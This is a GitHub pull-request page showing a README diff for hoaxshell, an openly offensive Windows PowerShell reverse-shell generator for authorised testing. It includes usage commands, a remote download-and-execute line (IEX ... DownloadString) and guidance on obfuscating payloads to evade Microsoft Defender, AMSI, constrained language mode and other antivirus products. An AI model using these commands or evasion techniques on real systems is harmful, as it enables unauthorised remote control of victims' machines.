Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Persistence of ReverseShell #49

Open
wants to merge 37 commits into
base: Dev
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
37 commits
Select commit Hold shift + click to select a range
82aee2d
Merge pull request #18 from t3l3machus/Dev
t3l3machus Oct 9, 2022
217feff
Merge pull request #19 from t3l3machus/Dev
t3l3machus Oct 9, 2022
8ad2889
Update README.md
t3l3machus Oct 9, 2022
18bd5c3
Update README.md
t3l3machus Oct 12, 2022
095c010
Added constraint language mode support (-cm)
t3l3machus Oct 13, 2022
04f410d
Update README.md
t3l3machus Oct 13, 2022
6de9053
Update README.md
t3l3machus Oct 14, 2022
74fe71b
Update README.md
t3l3machus Oct 16, 2022
b4df259
Update README.md
t3l3machus Oct 16, 2022
f9dc17b
Update README.md
t3l3machus Oct 17, 2022
c07c204
Update hoaxshell.py
t3l3machus Oct 17, 2022
e593de2
Update hoaxshell.py
t3l3machus Oct 17, 2022
91b27e1
Update README.md
t3l3machus Oct 18, 2022
9ac82e9
Update hoaxshell.py
t3l3machus Oct 18, 2022
bbf396d
Update README.md
t3l3machus Oct 18, 2022
fc07afb
Update hoaxshell.py
t3l3machus Oct 19, 2022
e2f7574
Update README.md
t3l3machus Oct 19, 2022
72d78e3
Update README.md
t3l3machus Oct 24, 2022
d1d6012
Update README.md
t3l3machus Oct 25, 2022
e7b5f96
Update hoaxshell.py
t3l3machus Nov 12, 2022
dab3e55
Update requirements.txt
t3l3machus Nov 12, 2022
688475d
Update README.md
t3l3machus Nov 14, 2022
d2fdca3
Update README.md
t3l3machus Nov 18, 2022
a1ab0dd
Update README.md
t3l3machus Nov 22, 2022
6a68e79
Create hoaxshell-listener.py
t3l3machus Feb 16, 2023
f1650e4
Create requirements.txt
t3l3machus Feb 16, 2023
4b557f0
Create README.md
t3l3machus Feb 16, 2023
b09e952
Update README.md
t3l3machus Feb 16, 2023
63b011d
Update hoaxshell-listener.py
t3l3machus Feb 16, 2023
268241a
Update README.md
t3l3machus Feb 17, 2023
3a971c3
Added Session Defender class
t3l3machus Apr 27, 2023
ad3bd7e
Added copy2clip
t3l3machus Apr 27, 2023
7ea0b27
Update requirements.txt
t3l3machus Apr 27, 2023
4b8e79e
Update README.md
t3l3machus Jun 18, 2023
c211a7b
Update README.md
t3l3machus Jun 18, 2023
fc8fd4e
Update README.md
t3l3machus Jun 18, 2023
b143b62
Added session defender.
t3l3machus Jun 18, 2023
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
65 changes: 48 additions & 17 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,24 +1,33 @@
# hoaxshell

[![Python](https://img.shields.io/badge/python-%E2%89%A5%203.6-yellow.svg)](https://www.python.org/)
<img src="https://img.shields.io/badge/powershell-%E2%89%A5%20v3.0-blue">
[![Linux](https://svgshare.com/i/Zhy.svg)](https://svgshare.com/i/Zhy.svg)
[![License](https://img.shields.io/badge/license-BSD-red.svg)](https://github.com/t3l3machus/hoaxshell/blob/main/LICENSE.md)
[![Python](https://img.shields.io/badge/Python-%E2%89%A5%203.6-yellow.svg)](https://www.python.org/)
<img src="https://img.shields.io/badge/PowerShell-%E2%89%A5%20v3.0-blue">
<img src="https://img.shields.io/badge/Developed%20on-kali%20linux-blueviolet">
[![License](https://img.shields.io/badge/License-BSD-red.svg)](https://github.com/t3l3machus/hoaxshell/blob/main/LICENSE.md)
<img src="https://img.shields.io/badge/Maintained%3F-Yes-96c40f">

#### ⚡ The latest version of this project is the [HoaxShell standalone listener](https://github.com/t3l3machus/hoaxshell/tree/main/revshells) which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com (make sure to choose hoaxshell as the listener).

:warning: As of 2022-10-18, hoaxshell is detected by AMSI ([malware-encyclopedia](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=VirTool%3aPowerShell%2fXoashell.A&threatid=2147833654)). You need to obfuscate the generated payload in order to use. Check out this video on how to obfuscate manually and bypass MS Defender:
- Example with Hoaxshell -> [youtube.com/watch?v=iElVfagdCD4](https://www.youtube.com/watch?v=iElVfagdCD4)
- Example with common powershell revshell templates -> [youtube.com/watch?v=3HddKylkRzM](https://www.youtube.com/watch?v=3HddKylkRzM)

## Purpose
hoaxshell is a Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell, based on the following concept:

hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions, solely based on http(s) traffic. The tool is easy to use, it generates it's own PowerShell payload and it supports encryption (ssl).
So far, it has been tested on fully updated **Windows 11 Enterprise**, **Windows Server 2016 Datacenter** and **Windows 10 Pro** boxes (see video and screenshots).
![image](https://user-images.githubusercontent.com/75489922/197529603-1c9238ea-af14-41f7-8834-dd37ad77e809.png)

This c2 concept (which could be implemented by using protocols other than http or pre-installed exes) can be used to establish sessions that promote the illusion of having a shell, but are far from an actual pty.

**Disclaimer**: Purely made for testing and educational purposes. DO NOT run the payloads generated by this tool against hosts that you do not have explicit permission and authorization to test. While using this tool, you are responsible for any trouble you may cause.
HoaxShell did well against AV software (check [AV bypass PoCs table](#AV-Bypass-PoCs) for more info). Although it is now generally detected, it is easy to obfuscate the generated payload(s) using automated tools or manually.

### Video Presentation
https://www.youtube.com/watch?v=SEufgD5UxdU
**Disclaimer**: Purely made for testing and educational purposes. DO NOT run the payloads generated by this tool against hosts that you do not have explicit permission and authorization to test. You are responsible for any trouble you may cause by using this tool.

### Video Presentations
[2022-10-11] Recent & awesome, made by [John Hammond](https://twitter.com/_johnhammond) -> [youtube.com/watch?v=fgSARG82TJY](https://www.youtube.com/watch?v=fgSARG82TJY)
[2022-07-15] Original release demo, made by me -> [youtube.com/watch?v=SEufgD5UxdU](https://www.youtube.com/watch?v=SEufgD5UxdU)

## Screenshots
![usage_example_png](https://raw.github.com/t3l3machus/hoaxshell/master/screenshots/hoaxshell-win11-v2.png)
![image](https://user-images.githubusercontent.com/75489922/196024757-fcb13b73-153c-426f-a87c-bf35fd3e784d.png)

Find more screenshots [here](screenshots/).

Expand Down Expand Up @@ -54,7 +63,8 @@ sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
```

### Encrypted shell session (https)
### Encrypted shell session (https + self-signed certificate)
This particular payload is kind of a red flag, as it begins with an additional block of code that instructs PowerShell to skip SSL certificate checks, which makes it suspicious and easy to detect as well as significantly longer in length. Not recommended.
```
# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
Expand All @@ -63,7 +73,6 @@ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>

```
The generated PowerShell payload will be longer in length because of an additional block of code that disables the ssl certificate validation.

### Encrypted shell session with a trusted certificate
If you own a domain, use this option to generate a shorter and less detectable https payload by providing your DN with -s along with a trusted certificate (-c cert.pem -k privkey.pem).
Expand All @@ -78,6 +87,15 @@ sudo python3 hoaxshell.py -s <your_ip> -g
```
**Important**: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc).

### Constraint language mode support
Use any of the payload variations with the `-cm` (--constraint-mode) option to generate a payload that works even if the victim is configured to run PS in Constraint Language mode. By using this option, you sacrifice a bit of your reverse shell's stdout decoding accuracy.

```
sudo python3 hoaxshell.py -s <your_ip> -cm
```
![image](https://user-images.githubusercontent.com/75489922/195785804-7fa3da9b-a10f-4c72-895a-0648271e7ec6.png)


### Shell session over https using tunneling tools ([Ngrok](https://ngrok.com) / [LocalTunnel](https://localtunnel.me))
Utilize tunnelling programmes **Ngrok** or **LocalTunnel** to get sessions through secure tunnels, overcominge issues like not having a Static IP address or your ISP forbidding Port-Forwarding.

Expand Down Expand Up @@ -113,12 +131,25 @@ hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:44
```
Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context.

## AV Bypass PoCs
Some awesome people were kind enough to send me/publish PoC videos of executing hoaxshell's payloads against systems running AV solutions other than MS Defender, without being detected. Below is a reference table with links:

**Important**: I don't know if you can still use hoaxshell effectively to bypass these solutions. It's only reasonable to assume the detectability will change soon (if not already).

| AV Solution | Date | PoC |
|---|---|---|
| SentinelOne | 2022-10-18 | https://twitter.com/i/status/1582137400880336896 |
| Norton | 2022-10-17 | https://twitter.com/i/status/1582278579244929024 |
| Bitdefender | 2022-10-15 | https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop |
| McAfee | 2022-10-15 | https://twitter.com/i/status/1581605531365814273 |
| Kaspersky | 2022-10-13 | https://www.youtube.com/watch?v=IyMH_eCC4Rk |
| Sophos | 2022-09-08 | https://www.youtube.com/watch?v=NYR0rWx4x8k |


## News
- `13/10/2022` - Added constraint language mode support (-cm) option.
- `08/10/2022` - Added the `-ng` and `-lt` options that generate PS payloads for obtaining sessions using tunnelling tools **ngrok** or **localtunnel** in order to get around limitations like Static IP addresses and Port-Forwarding.
- `06/09/2022` - A new payload was added that writes the commands to be executed in a file instead of utilizing `Invoke-Expression`. To use this, the user must provide a .ps1 file name (absolute path) on the victim machine using the `-x` option.
- `04/09/2022` - Modifications were made to improve the command delivery mechanism as it included components that could be easily flagged. The `-t` option along with the `https_payload_trusted.ps1` were added. You can now use hoaxshell by supplying a domain name along with a trusted certificate. This will generate a shorter and less detectable https payload.
- `01/09/2022` - Added the `-H` option which allows users to give a custom name to the (random by default) header utilized in the attack process, carring the shell's session id. This makes the attack less detectable e.g. by using a standard header name e.g. "Authorization".
- `31/08/2022` - Added the `-i` option that generates the PS payload adjusted to use "Invoke-RestMethod' instead of 'Invoke-WebRequest' utility, so now the user can choose (thanks to this [issue](https://github.com/t3l3machus/hoaxshell/issues/8)). I also fixed a bug that existed in the prompt (it sometimes messed the path).



Loading